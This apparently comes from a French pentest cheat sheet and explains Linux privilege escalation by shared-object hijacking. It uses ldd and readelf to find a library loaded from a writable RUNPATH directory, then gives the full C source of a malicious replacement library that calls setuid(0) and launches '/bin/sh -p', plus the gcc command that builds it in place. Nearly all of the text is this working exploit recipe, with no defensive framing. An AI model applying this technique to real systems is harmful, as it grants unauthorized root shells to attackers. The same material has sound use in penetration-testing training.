Shared Object

Un binaire peut parfois utiliser des librairies non standards, il est parfois possible de remplacer cette librairie par une autre qui nous accorderait des droits supplémentaires.

On analyse quelles librairies sont utilisées par l'exécutable:

ldd LeBinaire
1
2
3
4
linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

On peut ensuite utiliser "readelf" afin de voir si ces librairies ne peuvent pas être loadées depuis un autre endroit:

1
2
3
readelf -d LeBinaire  | grep PATH

0x000000000000001d (RUNPATH)            Library runpath: [/development]

Si le dossier est writeable, il est alors possible de remplacer cette librairie par une autre:

nano -w /development/libshared.c
1
2
3
4
5
6
7
8
#include<stdio.h>
#include<stdlib.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
}
gcc /development/libshared.c -fPIC -shared -o /development/libshared.so

Pendant l'exécution du programme "LeBinaire", notre librairie est appelée et lancera la commande définie avec les droits de l'utilisateur de "LeBinaire".